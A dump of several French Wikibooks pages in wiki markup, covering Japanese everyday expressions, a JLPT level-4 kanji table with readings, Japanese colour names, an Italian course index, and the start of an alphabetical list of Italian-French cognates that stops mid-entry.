connotation de remerciement, un peu comme une prière) (littéralement : "je reçois") *ごちそうさまでした - ''Gochisōsamadeshita'' - Phrase polie après avoir fini de manger ("ce fut un régal"). Phrase incontournable pour remercier une personne vous ayant invité au restaurant. - '' Eimodos '' - A votre santé ! - argot du sud ==Félicitations== *おめでとう - ''Omedetō'' - félicitation **おめでとうございます - ''Omedetō gozaimasu'' - des félicitations plus fortes. ==Requêtes et remerciements== *___ ください - ___ ''kudasai'' - ___ s'il vous plaît. (Utilisé avec la forme en -te du verbe) *おねがいします - ''Onegai shimasu'' - S'il-vous-plait. (littéralement : "Je vous en fais la demande") *ありがとう - ''Arigatō'' - merci. *どうも - ''doumo'' merci **どうもありがとう - ''Dōmo arigatō'' – merci bien. **ありがとうございます - ''Arigatō gozaimasu'' – merci beaucoup. **どうもありがとうございます - ''Dōmo arigatō gozaimasu'' – La façon la plus forte de dire "Merci". **どうもありがとうございました - ''Dōmo arigatō gozaimashita'' – Merci pour une action qui est terminée. *サンキュー -''sankyou'' - merci (adaptation de thank you) *どういたしまして - ''Dōitashimashite'' – Je vous en prie... ==Excuses== *ごめん - ''Gomen'' - désolé. (forme familière,causative). **ごめんなさい - ''Gomen nasai'' – Je suis vraiment désolé. *すみません - ''Sumimasen'' – Excusez-moi qui peut prendre la valeur de "s'il vous plait". *しつれいしました。 -''Shitsurei shimashita'' Excusez-moi (shiturei signifie littéralement impair, impolitesse). *しつれいします。 - ''Shitsurei shimasu'' excusez-moi (lorsque l'on s'apprête à déranger) *どうぞ。 : - ''Douzo'' - Je vous en prie/allez-y .. == Maison/Famille == * départ de la maison ** いってきます。- ''Ittekimasu'' - j'y vais ! ** いってらっしゃい。- ''Itte rasshai'' - bonne journée (en retour de la phrase précédente) * Retour **ただいま - ''tadaima'' - Je suis rentré ! **おかえり。おかえりなさい ''Okaeri/Okaerinasai'' : ah tu es revenu (en retour de la phrase précedente) == travail/activité == * ごくろさまです. ''gokurosama desu'' c'est du bon travail ! * ごくろさまでした. ''gokurosama deshita'' c'est du bon travail : (si le travail est terminé) * おつかれさまでした-''Otsukare sama deshita'' - Votre fatigue est bien grande, lorsque la personne quitte le lieu de travail. * おさきにしつれいします- ''Osaki ni shitsurei shimasu'' - Quand on quitte le travail, mais que la personne reste travailler (litteralement : je pars le premier), la personne répondra avec la phrase précédente (おつかれさまでした). * じゃまたあした - ''Ja Mata Ashita'' : et bien à demain == Retrouvaille == [お]ひさしぶりです[ね]。''[o]hisashiburi[ne]'' ca fait longtemps (que l'on ne s'est pas vu) しばらくです[ね]。shibaraku desu[ne] pareil おひさしぶり。''ohisashiburi'' pareil mais moins formel しばらく。 shibaraku pareil mais moins ==Adieux== *さようなら - ''Sayōnara'' - Au revoir. *では、また。/じゃあ、また。''dewa mata'' à plus tard .. (littérallement "sur ce à plus tard..") *じゃあね。/またね。à plus (familier..) *バイバイ - ''Bai bai'' - emprunté à l'anglais, au revoir. « Bye Bye » **notez que des mots d'origines étrangères sont souvent écrits en [[Japonais:Katakana|Katakana]]. Pour une liste plus étendue, référez-vous aux [[Expressions & Dictons (Japonais)|Expressions et dictons]].<br> (Note, les expressions y sont écrite en kanji, avec la traduction en français à coté.) {{Glossaires_de_Japonais}} [[catégorie:Japonais]] [[Catégorie:Glossaires de Japonais]] Japonais:Kanji 848 24310 2005-10-26T21:32:01Z 86.199.57.174 /* sous wikibook */ [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Romaji|Romaji]] - [[Japonais:Katakana|Katakana]] - [[Japonais:Hiragana|Hiragana]] - Kanji <center>JLPT: [[Japonais:vocabulaire Ikkyuu Kanji|一級 Kanji]] - [[Japonais:vocabulaire Ni Kyuu Kanji|二級 Kanji]] - [[Japonais:vocabulaire San Kyuu Kanji|三級 Kanji]] - [[Japonais:vocabulaire Yon Kyuu Kanji|四級 Kanji]]</center> == sous wikibook == [[japonais:introduction kanji|une introduction au kanji]] les kanji représente une "image" *[[japonais:Kanji Leçon Ecriture 1|leçon Ecriture 1]] Initiation et Introduction : Kanji étudié : 日月山田川 **[[japonais:Kanji Leçon Ecriture 2|leçon Ecriture 2]] Kanji étudié l'être Humain : 人女子先生私口 **[[japonais:Kanji Leçon Ecriture 3|leçon Ecriture 3]] Les éléments (terre,feux,argent..) : 金水火土 *le kanji represente un signe **[[japonais:Kanji Leçon Ecriture 4|leçon Ecriture 4]] dessus, dessous, milieu, gros, petit **[[japonais:Kanji Leçon Ecriture 5|leçon Ecriture 5]] quelque kanji utiles * les Nombres ** [[japonais:Kanji Leçon Ecriture 6|leçon Ecriture 6]] ** [[japonais:Kanji Leçon Ecriture 7|leçon Ecriture 7]] * association des Kanjis * le corp humain * les objets 1/2 * les objets 2/2 * les animaux * les i-adjectif 1/2 2/2 * les verbes == Site pour l'étude des kanji == [http://kanjistudyguide.com Pour apprendre les Kanji] Japonais:vocabulaire Yon Kyuu Kanji 849 37344 2006-03-13T09:03:29Z Yota 1223 [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Romaji|Romaji]] - [[Japonais:Katakana|Katakana]] - [[Japonais:Hiragana|Hiragana]] - Kanji <center>JLPT: [[Japonais:vocabulaire Ikkyuu Kanji|一級 Kanji]] - [[Japonais:vocabulaire Ni Kyuu Kanji|二級 Kanji]] - [[Japonais:vocabulaire San Kyuu Kanji|三級 Kanji]] -'''四級 Kanji'''</center> <center>Voir aussi: [[Japonais:Kanji|Kanji]]</center> ---- Ce qui suit est la liste de tous les kanji nécessaires pour passer le 四級, ou quatrième niveau du 日本語能力試験 (Japanese Language Proficiency ou Test d'aptitude à la langue japonaise), qui est le jardin d'enfant ou le premier niveau de la catégorie. Il y a 80 Kanji dans cet examen, et ces kanji seront présents aussi dans tous les niveaux supérieurs du JLPT en plus des autres kanji appris à ces niveaux. ==Liste des Kanji== On yomi en ''italique''. Kun yomi en '''gras'''. <table border=1 cellpadding=3> <tr> <td colspan=3>4th kyuu [[Japonais:Kanji|Kanji]] (四級漢字)</td><td colspan=1>Total: 80</td> </tr> <th>[[Japonais:Kanji|Kanji]]</th><th>[[Japonais:Romaji|Romaji]] (Hepburn)</th><th>[[Japonais:Hiragana|Hiragana]]</th><th>Significations</th> <tr> <td>&#19968;</td><td>''ichi''<br>'''hito''' ('''tsu''')</td><td>''いち''<br>'''ひと''' ('''つ''')</td><td>un</td> </tr> <tr> <td>&#20108;</td><td>''ni''<br>'''futa''' ('''tsu''')</td><td>''に''<br>'''ふた''' ('''つ''')</td><td>deux</td> </tr> <tr> <td>&#19977;</td><td>''san''<br>'''mi''' ('''tsu''')</td><td>''さん''<br>'''み''' ('''つ''')</td><td>trois</td> </tr> <tr> <td>&#22235;</td><td>''shi''<br>'''''yon'''''<br>'''yo''' ('''tsu''')</td><td>''し''<br>'''''よん'''''<br>'''よ''' ('''つ''')</td><td>quatre</td> </tr> <tr> <td>&#20116;</td><td>''go''<br>'''itsu''' ('''tsu''')</td><td>''ご''<br>'''いつ''' ('''つ''')</td><td>cinq</td> </tr> <tr> <td>&#20845;</td><td>''roku''<br>'''mu''' ('''tsu''')<br>'''mui'''</td><td>''ろく''<br>'''む''' ('''つ''')<br>'''むい'''</td><td>six</td> </tr> <tr> <td>&#19971;</td><td>''shichi''<br>'''nana''' ('''tsu''')<br>'''nano'''</td><td>''しち''<br>'''なな''' ('''つ''')<br>'''なの'''</td><td>sept</td> </tr> <tr> <td>&#20843;</td><td>''hachi''<br>'''ya''' ('''tsu''')<br>'''you'''</td><td>''はち''<br>'''や''' ('''つ''')<br>'''よう'''</td><td>huit</td> </tr> <tr> <td>&#20061;</td><td>''kyuu''<br>''ku''<br>'''kokono''' ('''tsu''')</td><td>''きゅう''<br>''く''<br>'''ここの''' ('''つ''')</td><td>neuf</td> </tr> <tr> <td>&#21313;</td><td>''juu''<br>''ju'' (''tsu'')<br>'''to'''<br>'''tou'''</td><td>''じゅう''<br>''じゅ'' (''つ'')<br>'''と'''<br>'''とう'''</td><td>dix</td> </tr> <tr> <td>&#30334;</td><td>''hyaku''</td><td>''ひゃく''</td><td>cent</td> </tr> <tr> <td>&#21315;</td><td>''sen''<br>'''chi'''</td><td>''せん''<br>'''ち'''</td><td>mille</td> </tr> <tr> <td>&#19975;</td><td>''ban''<br>''man''</td><td>''ばん''<br>''まん''</td><td>dix mille (10 000)</td> </tr> <tr> <td>&#29238;</td><td>''fu''<br>'''chichi'''<br>tou</td><td>''ふ''<br>'''ちち'''<br>とう</td> <td>père</td> </tr> <tr> <td>&#27597;</td><td>''bo''<br>'''haha'''<br>kaa</td><td>''ぼ''<br>'''はは'''<br>かあ</td><td>mère</td> </tr> <tr> <td>&#21451;</td><td>''yuu''<br>'''tomo'''</td><td>''ゆう''<br>'''とも'''</td><td>ami</td> </tr> <tr> <td>&#22899;</td><td>''jo''<br>'''onna'''</td><td>''じょ''<br>'''おんあ'''</td><td>femme, femelle</td> </tr> <tr> <td>&#30007;</td><td>''dan''<br>'''otoko'''</td><td>''だん''<br>'''おとこ'''</td><td>homme, mâle</td> </tr> <tr> <td>&#20154;</td><td>''jin''<br>''nin''<br>'''hito'''</td><td>''じん''<br>''にん''<br>'''ひと'''</td><td valign=top>une personne<br>''suffixe pour compter les humains''</td> </tr> <tr> <td>&#23376;</td><td>''shi''<br>'''ko'''</td><td>''し''<br>'''こ'''</td><td>enfant</td> </tr> <tr> <td>&#26085;</td><td>''jitsu''<br>''nichi''<br>'''hi'''<br>'''ka'''</td><td>''じつ''<br>''にち''<br>'''ひ'''<br>'''か'''</td><td valign=top>Soleil, jour<br><br><br>''suffixe pour compter les jours''</td> </tr> <tr> <td>&#26376;</td><td>''gatsu''<br>''getsu''<br>'''tsuki'''</td><td>''がつ''<br>''げつ''<br>'''つき'''</td><td valign=top>''nom des mois''<br>''other times''<br>lune, mois</td> </tr> <tr> <td>&#28779;</td><td>''ka''<br>'''hi'''</td><td>''か'<br>'''ひ'''</td><td>feu, lumière</td> </tr> <tr> <td>&#27700;</td><td>''sui''<br>'''mizu'''</td><td>''すい''<br>'''みず'''</td><td>eau</td> </tr> <tr> <td>&#26408;</td><td>''moku''<br>''boku''<br>'''ki'''</td><td>''もく''<br>''ぼく''<br>'''き'''</td><td>arbre</td> </tr> <tr> <td>&#37329;</td><td>''kin''<br>''kon''<br>'''kane'''</td><td>''きん''<br>''こん''<br>'''かね'''</td><td>or<br><br>l'argent (monnaie)</td> </tr> <tr> <td>&#22303;</td><td>''do''<br>''to''<br>'''tsuchi'''</td><td>''ど''<br>''と''<br>'''つち'''</td><td>terre, la terre, sol</td> </tr> <tr> <td>&#26412;</td><td>''hon''</td><td>''ほん''</td><td> livre, ''pour compter les objets minces''</td> </tr> <tr> <td>&#20241;</td><td>''kyuu''<br>'''yasu''' ('''mi''' or''' mu''')</td><td>''きゅう''<br>'''やす''' ('''み''' ou '''む''')</td><td>repos, vacances</td> </tr> <tr> <td>&#35486;</td><td>''go''<br>'''katari'''<br>'''kata''' ('''ru''')</td><td>''ご''<br>'''かたり'''<br>'''かた''' ('''る''')</td><td>mot, la parole, langue<br>récit <br>dire, parler</td> </tr> <tr> <td>&#24180;</td><td>'''toshi'''<br>''nen''</td><td>''とし''<br>'''ねん'''</td><td>année<br>''pour compter les années''</td> </tr> <tr> <td>&#21320;</td><td>''go''</td><td>''ご''</td><td>midi</td> </tr> <tr> <td>&#21069;</td><td>''zen''<br>'''mae'''</td><td>''ぜん''<br>'''まえ'''</td><td>avant, devant, précédent</td> </tr> <tr> <td>&#24460;</td><td>''go''<br>''kou''<br>'''ushi''' ('''ro''')<br>'''nochi'''</td><td>''ご''<br>''こう''<br>'''うし''' ('''ろ''')<br>'''のち'''</td><td valign=top>derrière<br><br><br>après</td> </tr> <tr> <td>&#26178;</td><td>'''toki'''<br>''ji''</td><td>'''とき'''<br>''じ''</td><td>temps<br>''pour compter les heures''</td> </tr> <tr> <td>&#38291;</td><td>''kan''<br>''ken''<br>'''aida'''<br>'''ma'''<br></td><td>''かん''<br>''けん''<br>'''あいだ'''<br>'''ま'''<br></td><td>intervalle, espace<br><br><br>intervalle, room, time</td> </tr> <tr> <td>&#27598;</td><td>''mai''</td><td>''まい''</td><td>chaque</td> </tr> <tr> <td>&#20808;</td><td>''sen''<br>'''saki'''</td><td>''せん''<br>'''さき'''</td><td>précédent, devant</td> </tr> <tr> <td>&#20170;</td><td>''kon''<br>''kin''<br>'''ima'''</td><td>''こん''<br>''きん''<br>'''いま'''</td><td>maintenant, le présent</td> </tr> <tr> <td>&#20309;</td><td>''ka''<br>'''nani'''<br>'''nan'''</td><td>''か''<br>'''なに'''<br>'''なん'''</td><td>quoi, combien</td> </tr> <tr> <td>&#19978;</td><td>''jou''<br>'''ue'''<br>'''a''' ('''geru'''); ''' a''' ('''garu''')<br>'''nobo''' ('''ru''')</td><td valign=top>''じょう''<br>'''うえ'''<br>'''あ''' ('''げる'''); '''あ''' ('''がる''')<br>'''のぼ''' ('''る''')</td><td>dessus, en haut<br><br>to raise; to rise<br>monter</td> </tr> <tr> <td>&#19979;</td><td>''ka''<br>''ge''<br>'''shita'''</td><td>''か''<br>''げ''<br>'''した'''</td><td>bas, en dessous</td> </tr> <tr> <td>&#24038;</td><td>''sa''<br>'''hidari'''</td><td>''さ''<br>'''ひだり'''</td><td>gauche</td> </tr> <tr> <td>&#21491;</td><td>''yuu''<br>u<br>'''migi'''</td><td>''ゆう''<br>う<br>'''みぎ'''</td><td>droite</td> </tr> <tr> <td>&#21271;</td><td>''hoku''<br>'''kita'''</td><td>''ほく''<br>'''きた'''</td><td>nord</td> </tr> <tr> <td>&#21335;</td><td>''nan''<br>'''minami'''</td><td>''なん''<br>'''みなみ'''</td><td>sud</td> </tr> <tr> <td>&#26481;</td><td>''tou''<br>'''higashi'''</td><td>''とう''<br>'''ひがし'''</td><td>est</td> </tr> <tr> <td>&#35199;</td><td>''sei''<br>''sai''<br>'''nishi'''</td><td>''せい''<br>''さい''<br>'''にし'''</td><td>ouest</td> </tr> <tr> <td>&#22806;</td><td>''gai''<br>''ge''<br>'''hoka'''<br>'''soto'''</td><td>''がい''<br>''げ''<br>'''ほか'''<br>'''そと'''</td><td valign=top>en dehors, étranger<br>autre<br>dehors</td> </tr> <tr> <td>&#21517;</td><td> ''mei''<br>''myou''<br>'''na'''</td><td> ''めい''<br>''みょう''<br>'''な'''</td><td valign=top>nom, renommé, célébre<br><br>nom</td> </tr> <tr> <td>&#39640;</td><td>''kou''<br>'''taka''' ('''i''')</td><td>''こう''<br>'''たか''' ('''い''')</td><td>haut, cher, grand</td> </tr> <tr> <td>&#23567;</td><td>''shou''<br>'''ko'''<br>'''o'''<br>'''chii''' ('''sai''')</td><td>''しょう''<br>'''こ'''<br>'''お'''<br>'''ちい''' ('''さい''')</td><td>petit, peu</td> </tr> <tr> <td>&#20013;</td><td>''chuu''<br>'''naka'''</td><td>''ちゅう''<br>'''なか'''</td><td>milieu, centre, dedans, à l'intérieur</td> </tr> <tr> <td>&#22823;</td><td>''dai''<br>''tai''<br>'''ou''' ('''kii''')</td><td>''だい''<br>''たい''<br>'''おう''' ('''きい''')</td><td>grand, gros</td> </tr> <tr> <td>&#38263;</td><td>''chou''<br>'''naga (i)'''</td><td>''ちょう''<br>'''なが (い)'''</td><td>head of an organization, leader<br>long</td> </tr> <tr> <td>&#21322;</td><td>''han''</td><td>''はん''</td><td>half</td> </tr> <tr> <td>&#20998;</td><td>''bun''<br>''fun''<br>'''wa''' ('''keru''')<br>'''waka''' ('''ru''')</td><td>''ぶん''<br>''ふん''<br>'''わ''' ('''ける''')<br>'''わか''' ('''る''')</td><td>partie, une part<br>''pour compter les minutes''<br>diviser, séparer<br>comprendre</td> </tr> <tr> <td>&#23398;</td><td>''gaku''<br>'''mana''' ('''bu''')</td><td>''がく''<br>'''まな''' ('''ぶ''')</td><td>étude, science<br>apprendre</td> </tr> <tr> <td>&#26657;</td><td>''kou''</td><td>''こう''</td><td>école</td> </tr> <tr> <td>&#29983;</td><td>''sei''<br>''shou''<br>'''u''' ('''mu''')<br>'''i''' ('''kiru''')</td><td>''せい''<br>''しょう''<br>'''う''' ('''む''')<br>'''い''' ('''きる''')</td><td valign=top>naissance, la vie<br><br>donner naissance<br>vivre</td> </tr> <tr> <td>&#23665;</td><td>''san''<br>'''yama'''</td><td>''さん''<br>'''やま'''</td><td>montagne</td> </tr> <tr> <td>&#24029;</td><td>''sen''<br>'''kawa'''</td><td>''せん''<br>'''かわ'''</td><td>rivière, ??stream??</td> </tr> <tr> <td>&#30333;</td><td>''haku''<br>''byaku''<br>'''shira'''<br>'''shiro''' ('''i''')</td><td>''はく''<br>''びゃく''<br>'''しら'''<br>'''しろ''' ('''い''')</td><td>blanc</td> </tr> <tr> <td>&#22825;</td><td>''ten''<br>'''ama'''<br>'''ame'''</td><td>''てん''<br>'''あま'''<br>'''あめ'''</td><td>paradis, ciel</td> </tr> <tr> <td>&#38632;</td><td>''u''<br>'''ama'''<br>'''ame'''</td><td>''う''<br>'''あま'''<br>'''あめ'''</td><td>pluie</td> </tr> <tr> <td>&#38651;</td><td>'''den'''</td><td>'''でん'''</td><td>électricité, electrique ??powered??</td> </tr> <tr> <td>&#27671;</td><td>''ki''<br>''ke''<br>'''iki'''</td><td>''き''<br>''け''<br>'''いき'''</td><td>l'esprit, intention, puissance, énergie</td> </tr> <tr> <td>&#36554;</td><td>''sha''<br>'''kuruma'''</td><td>''しゃ''<br>'''くるま'''</td><td>voiture, véhicule, automobile</td> </tr> <tr> <td>&#22269;</td><td>''koku''<br>'''kuni'''</td><td>''こく''<br>'''くに'''</td><td>pays, nation</td> </tr> <tr> <td>&#20870;</td><td>'''maru''' ('''i''')<br>''en''</td><td>'''まる''' ('''い''')<br>''えん''</td><td valign=top>cercle<br>100 yen (monnaie)</td> </tr> <tr> <td>&#35441;</td><td>''wa''<br>'''hanashi'''<br>'''hana''' ('''su''')</td><td>''わ''<br>'''はなし'''<br>'''はな''' ('''す''')</td><td>parler<br><br>parler</td> </tr> <tr> <td>&#32862;</td><td>''bun''<br>'''ki''' ('''ku''')<br></td><td>''ぶん''<br>'''き''' ('''く''')<br></td><td>entendre, écouter, demander</td> </tr> <tr> <td>&#39135;</td> <td>''jiki''<br>''shoku''<br>'''ku''' ('''u''')<br>'''ta''' ('''beru''')</td><td>''じき''<br>''しょく''<br>'''く''' ('''う''')<br>'''た''' ('''べる''')</td><td>manger, repas, nourriture</td> </tr> <tr> <td>&#35501;</td><td>''doku''<br>'''yo''' ('''mu''')</td><td>''どく''<br>'''よ''' ('''む''')</td><td>lire</td> </tr> <tr> <td>&#26469;</td><td>''rai''<br>'''ku''' ('''ru''')</td><td>''らい''<br>'''く''' ('''る''')</td><td>venir</td> </tr> <tr> <td>&#26360;</td><td>''sho''<br>'''ka''' ('''ku''')</td><td>''しょ''<br>'''か''' ('''く''')</td><td>?????<br>écrire</td> </tr> <tr> <td>&#35211;</td><td>''ken''<br>'''mi''' ('''ru''')<br>'''mi''' ('''seru''')</td><td>''けん''<br>'''み''' ('''る''')<br>'''み''' ('''せる''')</td><td>montrer</td> </tr> <tr> <td>&#34892;</td><td>''gyou''<br>''kou''<br>'''i''' ('''ku''')</td><td>''ぎょう''<br>''こう''<br>'''い''' ('''く''')</td><td>aller</td> </tr> <tr> <td>&#20986;</td><td>''shutsu''<br>'''da''' ('''su''')<br>'''de''' ('''ru''')</td><td>''しゅつ''<br>'''だ''' ('''す''')<br>'''で''' ('''る''')</td><td>s'en aller, partir</td> </tr> <tr> <td>&#20837;</td><td>''nyuu''<br>'''i''' ('''ru''')<br>'''hai''' ('''ru''')</td><td>''にゅう''<br>'''い''' ('''る''')<br>'''はい''' ('''る''')</td><td>entrer, aller dans, introduire</td> </tr> </table> {{Glossaires_de_Japonais}} [[Catégorie:Glossaires_de_Japonais]] Couleurs (Japonais) 850 20456 2005-09-02T12:58:17Z Duarna 465 +modèle Retour à la table des matières : [[Japonais:Table des matières|^ Japonais ^]] <center><table border="1"> <tr><td colspan="5"><center>'''Couleurs en japonais (色, いろ; iro)'''</center></td></tr> <th>Couleurs</th><th>[[Japonais:Kanji|Kanji]]</th><th>[[Japonais:Hiragana|Hiragana]]</th><th>[[Japonais:Romaji|Romaji]]</th><th>Français</th> <tr><td bgcolor="#FF0000">&nbsp;</td><td>赤い</td><td>あかい</td><td>akai</td></td><td>rouge</td></tr> <tr><td bgcolor="#FFA700">&nbsp;</td><td>橙色<br>N/a</td><td>だいだいいろ<br>オレンジ</td><td>daidai-iro<br>orenji</td><td>orange</td></tr> <tr><td bgcolor="#FFFF00">&nbsp;</td><td>黄色</td><td>きいろ</td><td>ki-iro</td></td><td>jaune</td></tr> <tr><td bgcolor="#00FF00">&nbsp;</td><td>緑</td><td>みどり</td><td>midori</td></td><td>vert</td></tr> <tr><td bgcolor="#0000FF">&nbsp;</td><td>青い</td><td>あおい</td><td>aoi</td></td><td>bleu</td></tr> <tr><td bgcolor="purple">&nbsp;</td><td>紫</td><td>むらさき</td><td>murasaki</td></td><td>violet</td></tr> <tr><td bgcolor="#FFFFFF">&nbsp;</td><td>白い</td><td>しろい</td><td>shiroi</td></td><td>blanc</td></tr> <tr><td bgcolor="#A7A7A7">&nbsp;</td><td>ねずみ色<br>灰色</td><td>ねずみいろ<br>はいいろ</td><td>nezumi-iro<br>hai-iro</td></td><td>gris</td></tr> <tr><td bgcolor="#000000">&nbsp;</td><td>黒い</td><td>くろい</td><td>kuroi</td></td><td>noir</td></tr> </table></center> {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] Image:Japan coa.png 852 12510 2004-11-09T14:26:35Z Yann 2 Source : [[:en:Image:Japan coa.png]] Armoiries du Japon Source : [[:en:Image:Japan coa.png]] Enseignement de l'italien 853 44461 2006-06-13T08:10:43Z 84.41.147.109 /* Annexes */ <gallery> Image:Flag of Italy.svg Image:Flag of Switzerland.svg Image:Flag of the Vatican City.svg </gallery> [[Phonologie de l'italien]] == Conjugaisons des verbes == '''Les verbes auxiliaires''' * [[avere (avoir)]] * [[essere (être)]] '''Les verbes réguliers''' * [[en "are" (Ex: parlare -(parler))]] * [[en "ere" (Ex: credere) - (croire))]] * [[en "ire" - 1ère conjugaison - (Ex: dormire - (dormir))]] * [[en "ire" - 2ième conjugaison - (Ex: capire - (comprendre))]] '''Les verbes irréguliers''' * [[1ère conjugaison - andare (aller)]] * [[1ère conjugaison - dare (donner)]] * [[1ère conjugaison - fare (faire)]] * [[1ère conjugaison - stare (rester, être)]] * [[2ième conjugaison - bere (boire)]] * [[2ième conjugaison - dovere (devoir)]] * [[2ième conjugaison - piacere (plaire, aimer ou préférer)]] * [[2ième conjugaison - potere (pouvoir)]] * [[2ième conjugaison - sapere (savoir)]] * [[2ième conjugaison - tenere (tenir)]] * [[2ième conjugaison - togliere (enlever, retirer)]] * [[2ième conjugaison - vivere (vivre)]] * [[2ième conjugaison - volere (vouloir)]] * [[3ième conjugaison - dire (dire)]] * [[3ième conjugaison - morire (mourir)]] * [[3ième conjugaison - salire (monter)]] * [[3ième conjugaison - uscire (sortir)]] * [[3ième conjugaison - venire (venir)]] '''Les verbes pronominaux''' == Annexes == * [[Italien:Culture_italienne|La culture italienne]] * [[Vrais amis italiens]] * [[Faux-amis en italien]] [[Catégorie:Langue|Italien]] [[Catégorie:Italien|*]] [[en:Italian]] [[nl:Italiaans]] [[de:Italienisch]] [[it:Corso di italiano]] === Liens === * [http://www.rowy.net/ RowyNet] Lexique de Musique. Italien -> français, allemand, anglais et hollandais. Vrais amis italiens 854 12512 2004-11-09T14:52:32Z Yann 2 depuis en: Cette liste de vrais amis est constituée de mots-sosies, abstraction faite des signes diacritiques (accents, tréma, trait d'union) et des flexions (pluriel, masculin-féminin). Elles comprend des emprunts réciproques (italianismes du français, gallicismes de l'italien et de beaucoup d'emprunts communs à d'autres langues (latinismes, anglicismes, hispanismes...). ==Vrais amis en italien par ordre alphabétique== ===AB=== * ''a cappella'' : a cappella * ''a fortiori'' : a fortiori * ''a giorno'' : a giorno * ''a gogo'' : a gogo * ''a posteriori'' : a posteriori * ''a priori'' : a priori * ''a tempera'' : a tempera * ''abat-jour'' : abat-jour * ''abside'' : abside * ''acacia'' : acacia * ''acaule'' : acaule * ''accessit'' : accessit * ''accomodante'' : accomodant, -e * ''acetone'' : acétone * ''acme'' : acmé * ''acne'' : acné * ''acre'' : âcre, aigre * ''ad hoc'' : ad hoc * ''ad hominem'' : ad hominem * ''ad libitum'' : ad libitum * ''ad personam'' : ad personam * ''ad valorem'' : ad valorem * ''ad vitam aeternam'' : ad vitam aeternam * ''adagio'' : adagio * ''addenda'' : addenda * ''addendum'' : addendum * ''adolescente'' : adolescent, -e * ''aeroclub'' : aéro-club * ''aeromobile'' : aéromobile * ''aeronavale'' : aéronaval, -e * ''aeropostale'' : aéropostal, -e * ''aerosol'' : aérosol * ''affaire'' : affaire * ''affine'' : affine, similaire * ''affluente'' : affluent, -e * ''afro'' : afro * ''agape'' : agape * ''agar-agar'' : agar-agar * ''agave'' : agave * ''agenda'' : agenda * ''aggiornamento'' : aggiornamento * ''agglutinante'' : agglutinant, -e * ''agile'' : agile * ''aggio'' : agio * ''agnus dei'' : agnus dei * ''agora'' : agora * ''agreste'' : agreste, rustique * ''agrostide'' : agrostide * ''agrume'' : agrume * ''al dente'' : al dente * ''alacali'' : alacali * ''album'' : album * ''alcali'' : alcali * ''alcaloide'' : alcaloïde * ''alcool'' : alcool * ''alea'' : aléa * ''alea jacta est'' : alea jacta est * ''aleurite'' : aleurite * ''aleurode'' : aleurode * ''alfa'' : alfa * ''algol'' : algol * ''alias'' : alias * ''alibi'' : alibi * ''alinea'' : alinéa * ''allarme'' : allarme * ''alleluia'' : alléluïa * ''allergene'' : allergène * ''alma mater'' : alma mater * ''alpaca'' : alpaca * ''alpe'' : alpe * ''alpestre'' : alpestre * ''alter ego'' : alter ego * ''alto'' : alto * ''amante'' : amant, -e * ''ambage'' : ambage * ''ambivalente'' : ambivalent, -e * ''amen'' : amen * ''ammoniacale'' : ammoniacal, -e * ''amorale'' : amoral, -e * ''ampere'' : ampère * ''anaconda'' : anaconda * ''anale'' : anal, -e * ''ananas'' : ananas * ''ancestrale'' : ancestral, -e * ''androide'' : androïde * ''anemone'' : anémone * ''aneroide'' : anéroide * ''angelus'' : angélus * ''anglomane'' : anglomane * ''angora'' : angora * ''animale'' : animal, -e * ''anormale'' : anormal, -e * ''antecedente'' : antécédent, -e * ''antiacne'' : antiacné * ''anticlericale'' : anticlérical, -e * ''anticlinale'' : anticlinal, -e * ''anticoagulante'' : anticoagulant, -e * ''antigene'' : antigène * ''antilope'' : antilope * ''antimissile'' : antimissile * ''antipode'' : antipode * ''anti-trust'' : anti-trust * ''antivirale'' : antiviral, -e * ''aortite'' : aortite * ''apache'' : apache * ''apatite'' : apatite * ''apicale'' : apical, -e * ''apocope'' : apocope * ''apparatchik'' : apparatchik * ''appendice'' : appendice * ''appendicite'' : appendicite * ''applique'' : applique * ''aquaplanning'' : aquaplanning * ''ara'' : ara * ''arachide'' : arachide * ''aralia'' : aralia * ''arborescente'' : arborescent, -e * ''arcade'' : arcade * ''ardente'' : ardent, -e * ''arnica'' : arnica * ''arrogante'' : arrogant, -e * ''arterite'' : artérite * ''ascendente'' : ascendente * ''aspirante'' : aspirant, -e * ''aster'' : aster * ''astrakan'' : astrakan * ''atele'' : atèle * ''atonale'' : atonal, -e * ''atout'' : atout * ''atroce'' : atroce * ''attaché'' : attaché * ''au pair'' : au pair * ''aucuba'' : aucuba * ''auditorium'' : auditorium * ''augure'' : augure * ''aura'' : aura * ''austerity'' : austerity * ''australe'' : austral, -e * ''auto'' : auto * ''autobus'' : autobus * ''autoclave'' : autoclave * ''autocrate'' : autocrate * ''autodafe'' : autodafé * ''automobile'' : automobile * ''automotrice'' : automotrice * ''autoradio'' : autoradio * ''autostop'' : auto-stop * ''avance'' : avance * ''ave maria'' : ave maria * ''ayatollah'' : ayatollah * ''azimut'' : azimut * ''babà'' : baba * ''bacon'' : bacon * ''baguette'' : baguette * ''bakelite'' : bakélite * ''banale'' : banal, -e * ''banco'' : banco * ''bang'' : bang * ''baobab'' : baobab * ''bar'' : bar * ''barbacane'' : barbacane * ''barbarie'' : barbarie * ''barbecue'' : barbecue * ''barman'' : barman * ''basale'' : basal, -e * ''base'' : base * ''baseball'' : baseball * ''basta'' : basta * ''batik'' : batik * ''bauxite'' : bauxite * ''bazar'' : bazar * ''bazooka'' : bazooka * ''be-bop'' : be-bop * ''begonia'' : bégonia * ''begum'' : bégum * ''bel canto'' : bel canto * ''belligerante'' : belligerant, -e * ''belvedere'' : belvédère * ''bentonite'' : bentonite * ''benzene'' : benzène * ''berçeuse'' : berçeuse * ''bergère'' : bergère * ''beriberi'' : béri-béri * ''bestiale'' : bestial, -e * ''best-seller'' : best-seller * ''betel'' : bétel * ''beton'' : béton * ''bey'' : bey * ''biathlon'' : biathlon * ''bibelot'' : bibelot * ''biberon'' : biberon * ''bibliobus'' : bibliobus * ''bibliomane'' : bibliomane * ''bicolore'' : bicolore * ''bicorne'' : bicorne * ''biennale'' : biennale * ''bifocale'' : bifocal, -e * ''bijou'' : bijou * ''bikini'' : bikini * ''bilabiale'' : bilabial, -e * ''bilaterale'' : bilatéral, -e * ''bile'' : bile * ''bilingue'' : bilingue * ''bimestre'' : bimestre * ''biotite'' : biotite * ''bipede'' : bipède * ''bireme'' : birème * ''bis '' : bis * ''biscuit'' : biscuit * ''bistrot'' : bistrot * ''bit'' : bit * ''bitume'' : bitume * ''bivalente'' : bivalent, -e * ''bivalve'' : bivalve * ''blackout'' : black-out * ''blasé'' : blasé * ''blazer'' : blazer * ''blitz'' : blitz * ''blizzard'' : 